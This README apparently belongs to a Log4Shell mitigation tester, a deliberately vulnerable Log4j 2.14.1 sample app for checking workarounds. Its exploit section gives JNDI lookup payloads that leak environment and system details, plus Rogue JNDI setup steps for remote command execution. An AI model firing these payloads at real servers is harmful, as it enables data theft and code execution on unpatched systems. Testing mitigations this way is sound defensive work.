# Log4Shell Mitigation tester

This is an example application using Log4j 2.14.1 .

source code: [](app/src/main/java/log4shell/mitigation/tester/

The purpose of this is to be able to test different mitigation approaches. The mitigation approaches are also mentioned in [Microsoft’s Response to CVE-2021-44228 Apache Log4j 2](

## Example usage

Examples are for a bash shell

build the app
./gradlew assemble

Run without workaround
java -jar app/build/libs/app-all.jar

Test some message lookup feature by passing a string on command line:
FOO='Hello ${env:USER}' java -jar app/build/libs/app-all.jar '${env:FOO}'

Test `-Dlog4j2.formatMsgNoLookups=true` system property workaround,
java -Dlog4j2.formatMsgNoLookups=true -jar app/build/libs/app-all.jar

Test ``LOG4J_FORMAT_MSG_NO_LOOKUPS=true`` environment variable workaround,
LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar

Test `JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true` environment variable workaround,
JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true java -jar app/build/libs/app-all.jar

Test in classpath workaround solution:
java -cp log4j2-formatMsgNoLookups/build/libs/log4j2-formatMsgNoLookups.jar:app/build/libs/app-all.jar log4shell.mitigation.tester.App

## Seeing is believing - exploit this sample app

When you run the app, you will see the vulnerability in action:
❯ java -jar app/build/libs/app-all.jar '${jndi:ldap://${env:USER}}'
[2021-12-12 10:57:07,216] [main] [log4shell.mitigation.tester.App] INFO noLookups false
[2021-12-12 10:57:07,218] [main] [log4shell.mitigation.tester.App] INFO Lookups are enabled! The application is vulnerable for Log4Shell! Example lookup USER=lari
2021-12-12 10:57:07,239 main WARN Error looking up JNDI resource [ldap://]. javax.naming.InvalidNameException: ldap://
	at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(
	at java.naming/javax.naming.InitialContext.lookup(

You can also debug the solution and place a break point in the vulnerable code which is

Set the debugger in class is `org.apache.logging.log4j.core.pattern.MessagePatternConverter` at line 128.

When the mitigation is in place, the debugger should never get in the code block. The LDAP call shouldn't get attempted either:

❯ LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar '${jndi:ldap://${env:USER}}'
[2021-12-12 10:59:15,589] [main] [log4shell.mitigation.tester.App] INFO noLookups true
[2021-12-12 10:59:15,590] [main] [log4shell.mitigation.tester.App] INFO Lookups are disabled. Example lookup USER=${env:USER}
[2021-12-12 10:59:15,591] [main] [log4shell.mitigation.tester.App] INFO Provided command line arguments are [${jndi:ldap://${env:USER}}]

### Exploiting with Rogue JNDI

Demonstrating information leakage depends on changes

in one terminal
git clone
cd rogue-jndi
# build with PR changes
git fetch origin pull/11/head
git checkout FETCH_HEAD
mvn package
# sample command is for Linux, remove `-c "zenity --progress --pulsate --text=You_are_hacked"` on other OSes or use any suitable RCE command
java -jar target/RogueJndi-1.1.jar -c "zenity --progress --pulsate --text=You_are_hacked"

in another terminal:
# demonstrate information leakage
java -jar app/build/libs/app-all.jar '${jndi:ldap://${env:USER},vendor=${sys:java.vendor},javaversion=${sys:java.vm.version},os=${sys:os.version}}'
# demonstrate RCE by adding "-Dcom.sun.jndi.ldap.object.trustURLCodebase=true"
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar app/build/libs/app-all.jar '${jndi:ldap://}'

## Kubernetes / docker mitigation solutions for Log4Shell

It is necessary to mitigate Log4Shell immediately without waiting for a new software release. Here are some solutions for doing that quickly and effectively.

### Patching existing docker images with a thin overlay that sets LOG4J_FORMAT_MSG_NO_LOOKUPS=true env

This is a generic solution:

### Example of patching existing docker images with Log4j 2.15.0 jar files

This is not generic, example is from apache/pulsar:

### Patching k8s deployments with LOG4J_FORMAT_MSG_NO_LOOKUPS=true env